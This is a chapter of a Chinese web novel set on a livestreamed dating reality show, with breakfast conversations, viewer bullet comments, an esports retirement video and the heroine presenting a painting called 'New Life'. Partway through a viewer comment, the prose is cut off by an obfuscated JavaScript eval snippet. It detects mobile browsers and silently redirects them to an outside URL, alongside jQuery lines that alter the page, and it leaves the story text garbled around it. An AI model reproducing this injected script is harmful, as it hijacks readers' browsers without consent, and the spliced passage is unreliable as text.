昨夜直播间关闭后，晚上的渣浪热搜十分热闹，五位男嘉宾同时提问许佳忆的名场面的剪辑爆火，随之而来的流量潮流，席卷了第二天的直播间。
除了准时等候的观众粉丝们，还有很多过来看新鲜的乐子人，路人们也很好奇这位成为恋综万人迷的女嘉宾，究竟是什么来头：
“本季不是吹嘘个个背景吊炸天吗？女四什么来历？”
“听说首播当天就自爆是刚毕业的女大学生……”
“这是把恋综当流量密码，想出道成为网红呢。”
“欸，不过她长得倒是没得喷，颜值完全是明星像，估计是真想进内娱吧？”
“那五位男嘉宾什么来头？”
“↑前期介绍的零散，好像有个电竞冠军来着，其他……印象不是很深，总之好像都很有钱？”
“哦！还有个港城来的资本家。”
……
翌日，开播时间推迟了半小时，而直播间的人数非但未下降，反而蹭蹭上涨，留存率也比往常要高的多。
在开播前，节目组官微发布了最新的直播时间通知：工作日时间照常，周六周日休息日，可能随机掉落直播，不要特意等待。
而今天是周五。
直播间开启，昨夜的雨夹雪后，镜头下的豪华别墅覆了一层薄薄的雪，像似撒了层糖霜的多层蛋糕。
晨光绽放，草坪的积雪泛着淡淡的光泽，随着镜头缓缓推进落地窗，别墅室内暖意融融，现代风的壁炉燃着火焰，与窗外落了雪霜的绿植相映。
而此时的客厅内聚集了享用早餐的嘉宾们，长桌上是工作人员一早送来的中西结合的早餐盛宴。
随着节目推进，导演组对嘉宾们的照顾也步步周全起来。
今天午时前有聊天活动，为了帮助嘉宾们之间更加了解对方的生活环境、工作职业以及各种经历等。所以嘉宾们各自都稍加收拾打扮了下，尽量在镜头前呈现比较好的状态。
“我们这年纪最小的应该是奕谦吧？佳忆和姿染的生日好像都比他大几个月？”尤恩娅用勺子搅拌着轻食的坚果酸奶，杏仁片和开心果碎在草莓味的酸奶里翻滚，像揉进了碎星辰。
将波浪卷盘成低发，穿着香牌翻领毛衣开衫的叶姿染，抢先应了声，“嗯，我们三个是同龄的。”
随后叶姿染夹过身边的菠菜牛肉包，递给了邻侧的奕谦，她的语气熟稔自然，“你尝尝这个，会爆汁，很好吃。”
奕谦已经半饱了，他看了眼叶姿染放过来的包子，没有去尝，而是饮了口豆浆。
尤恩娅望着两位好友间的互动，她吃了一小口酸奶，然后主动热情地提到节目组早上发来的短信任务，“对了，你们有看过国际秀展吗？”
“去年Paris和Milan秋夏我都在，担任了六个品牌的开场模特。”尤恩娅拉了拉她的羊羔毛外套，深色肌肤的立体面孔上洋溢着自信的笑容，眼神坚定，诉说着她引以为傲的专业领域。
也是去年，尤恩娅在秋冬秀季结束以后，升至全球超模TOP排名29名。
“待会儿，我可以给你们看一看我在秀场上的视频。”尤恩娅说道。
早餐过后的时光，是嘉宾们经历互换的环节，让彼此更好地了解对方的生活。
而现在别墅角落的纪念墙上，已经贴好了这两次约会的嘉宾们的合照，等一会儿，工作人员收拾餐食，他们就会前往纪念墙边上的休息间闲聊。
休息间配备了投屏荧幕，方便播放嘉宾们的一些视频和前期采访。
许佳忆正在气定神闲地享用着小米粥。
如果她没有提前坦白了身份背景，按照原剧情的进度，今早的闲聊里，原身一步步中逐渐暴露自己的普通家世，加上先前一些不合时宜的话语，导致她的粉丝脱粉严重，一部分粉丝认为遭到了欺骗。
不过现在她没什么需要太担心的，吃完早餐，听听嘉宾们的光荣生涯，再欣赏欣赏他们的录制视频，悠哉悠哉。
“哦，不了解这行。”大家都表示期待时，不经意的瞬间，利落背头带着银边眼镜的荆祈，却冷不丁地出了声，嗓音冷漠而富有磁性。
洛时均手肘触了触旁边的荆祈，“大早上的，别这么扫兴。”
荆祈不为所动。他一向如此。
许佳忆现在对荆祈已经免疫了。
他像颗土豆地雷，不定时地会突然破坏。
直播间观众们正在搜集尤恩娅的物料时，再一次感受到了荆祈破坏气氛的威力：
【男三这家伙不会说话，就把小嘴巴闭上好吗？】
【我忽然觉得他沉默寡言是件好事。】
【谁让你了解这行了？】
【怪不得尤恩娅这么高，感觉接近一米八。】
【↑我搜到了，哇，她在秀场上好欧美。】
尤恩娅只是一笑而置，她与荆祈有过接触，她知道他说话就这样，不是针对她。
“我也有一些采访视频，不过很早期了。”荆祈余光掠了眼洛时均，不经意地扫过许佳忆的时候，他的目光微停。她正颔首抿着勺子舀起的小米粥，动作文雅，室内的暖风轻轻地吹动她的几绺青丝。
她原本长柔的乌发被卷成了水波纹，慵懒地搭在肩后，正红的唇饱满明媚，衬的她的白皮更为秾丽，着的针织长裙显着她曼妙的身段，像白雪中摇曳的红山茶，温润也冶艳。
黎淑妤侧了侧短发，好奇问了声，“什么采访视频？”
毕竟对于这位沉默寡言的高冷男嘉宾，大家对他的了解是最少的。
而荆祈失神的那十几秒里，他没有意识到他现在的眼神有多认真，有多具有侵略性。
以致于他都没在听别人说话，整个世界里仿佛只剩下了他和那朵冶绝的红山茶。
“估计是关于他职业的吧。”商彦厉见状，温柔含笑地回应了黎淑妤，避免了尴尬的产生，“我想起来，你好像是律师吧？”
初次阶段的自我介绍，嘉宾们或多或少都有提过自己的职业。
黎淑妤看向商彦厉，性格冷淡的她，其实一向喜欢温润绅士的类型，而商彦厉恰好符合她的一切标准，“嗯呢。”
她挺开心他能记得她的信息，只是她的目光却不自主地移到了呗列为可能性情敌的许佳忆身上。
对上许佳忆抬起的眉眼，她冲她笑了笑，像水墨洇开的温柔。
不禁她觉得脸颊有些滚烫，下意识地回避了视线。她这辈子第一次因为一个女孩而脸红。
“是港城的吧？”李承铭望了望这位老乡。
黎淑妤看向李承铭，她听闻过这位港城的天才阔少，本就家境富裕，却又年少成才，完全就像是上帝的幸运宠儿，“是的。”
“主要做跨境投资和资本市场兼并收购方面，你要有需要，也可以联系我。”黎淑妤不忘为自己的事务所宣传一波，不过她很清楚李承铭是不会需要的，他肯定有自己更为专业的律师团队。
李承铭挑挑眉头，笑而不语，却又没拒绝，保留了体面。
洛时均不慌不忙中帮许佳忆收拾吃完的盒子，趁大家聊天的空隙，坐在许佳忆的身边，悄悄低头，私语：
“吃饱了吗，昨晚睡的还好吗？”
许佳忆点点头，“嗯呢，还行适应了些。”
“谢谢你的礼物啊，就是有些…昂贵了。”
许佳忆顺带提了一下他昨天送的礼物，刚好口头表达感谢一下。
她现在也没有经济实力去还一份得体的礼物。
话音刚落。
“我买的不贵的，你喜欢才值千金。”洛时均悄悄又凑近了些，他拿出了节目组发放的手机，网友搜索了一个视频账号，“看，我昨晚，更新了我的短视频账号。”
他的手机放在了桌沿下，许佳忆只好往他的身边近了近，目光扫过屏幕里的账号。
他的粉丝数百万，时隔一年最近的一次更新：
是他和她的第一次约会的晚餐合照。
“你……”许佳忆抬眼凝了凝洛时均的眼睛，如野火的黄发下，他的眼神明亮分明，却又透着他性格里的不羁桀骜。
洛时均笑的灿烂，明明已经曝光了，他还调皮地做了个噤声的手势，“嘘。”
“只让你知道咯。”
直播间镜头之下，许佳忆与洛时均挨的很近，他们彼此窃窃私语，像是在说什么悄悄话，观众们坐不住了：
【啊啊啊，“十亿”小情侣在说什么呢！？】
【妹宝和洛少贴的好近呀，感觉妹宝都要倒洛少怀里了~】
【洛少就这么心机地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615469|187730||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
勾引老婆。】
【谁还不知道他找回了自己曾经的百万粉丝账号，上线的第一条更新就是跟妹宝的合照。】
【↑说不准是节目组的要求，为了博取热度呢，你们“十亿”CP别太疯狂了。】
【我们“伊莉牛奶”CP才是真的！年上温柔绅士和妹宝才最好磕！】
【伊莉是？】
【“忆厉”谐音，因为昨晚官微放了小花絮，商总只给女四妹妹送了牛奶~刚好是伊莉牌的，这还不算偏爱吗~】
【取名鬼才…】
……
早餐结束以后，嘉宾们进入休息室时，发现了角落的照片墙上，已经摆上了他们的约会合照。
代表浪漫的粉色涂鸦做底，现在的合照只占据了一小部分，等到结尾，整面墙都会被贴满回忆。
原剧情里，原身没有什么视频可以展示，所以选择了自己的画作，作为展示，她带来了好几幅油画，却从中选择了最阳光的一幅，似乎是想给嘉宾们和观众们留下一个开朗的好印象。
不过因为比较常见，没有记忆点，而且原身的表现也比较扭捏拘谨，所以效果反应平平。
而许佳忆，换了一幅。
是一幅她认为最贴合原身的。
有的时候，当局者迷，旁观者清。
嘉宾们挨个坐在沙发上，投影荧幕率先播放了一段网上曾流传过的视频：
是洛时均曾经的电竞生涯回溯。
从他的十七岁到二十四岁大满贯退役。十七岁的他初露锋芒，从网吧少年到怀揣梦想、踏入FPS竞技的舞台，十八岁就荣耀加冕，但二十岁却遭遇至暗时刻，也恰恰是二十岁之后，诞生了全新的他，开启了属于他统领的王朝……
最后画面渐渐暗下来，尾声是黄发少年最后一次在领奖台上的鞠躬，因手伤而选择在鼎盛时期退役，就此王朝谢幕。
他的热爱倾注了他的半部青春，许佳忆注意到了洛时均眼尾的微红。
他现在在想什么，是怀念，还是可惜与留念。
叶姿染轻呼了一声，“好可惜…如果不是手伤，应该可以再留几年的。”
“没什么可惜的，都是过去式了。”洛时均轻飘飘的一声，带过了他的前半热血青春，“没人会一直是冠军。”
“我现在已经着手接管我父亲的公司了。也算是个全新的开始。”
功成名就退役，已是幸运。
弹幕：
【不会有人忘记那年十七岁横空出世的天才FPS少年。】
【我是洛少的老粉了，我从来不看恋综的，只是真心希望洛少现实世界能活的开心。】
【希望先前造谣洛少是gay的死黑子，都可以滚出来道歉。】
【男一不光游戏牛叉，现实也好厉害。】
【↑他可是狮城富二代，是这样的。】
随后——
洛时均的目光如暖风轻轻拂过许佳忆的脸庞，他嗓音清冽：
“我想了解了解你的画，可以吗？”
桌面上封起来的画作，洛时均一眼就瞧见了。
许佳忆坐在靠窗的位置。
洛时均的话掀起了嘉宾们的关注。
“可以。”许佳忆淡然地撕开了画作的外皮，露出了那幅原身创作的画。
一瞬间，戛然而止。
画布上，油彩堆叠的七彩花本该竞相怒放，极尽地展示自己的美丽，而作画的主人，却将艳丽的它们画成了枯萎形态。
花瓣蜷曲、色彩浑浊，不再具有生命力，连干枯的脉络都刻画细致，仿佛伸手就能触摸到。
整幅画朦胧着无限的哀伤，偏偏艳丽的色彩照旧，艳丽地枯萎如同梦境与现实的对照。
所有人都沉默了。
他们的反应似乎全在许佳忆的意料之中。
下秒，许佳忆扶起了那幅画作，置于胸前。
窗台跌落的浅金色的曙光滑过她的乌丝，少女的影子与光，跃入枯萎的七色花之上，刹那仿若让卷曲的花瓣拉长，变成了火焰，重新燃烧起新的生命力。
她的眼睛里有光，嗓音温软如江南烟雨：
“它有个好听的名字，叫——”
“‘新生’。”
现在，她是拯救她自己的神明。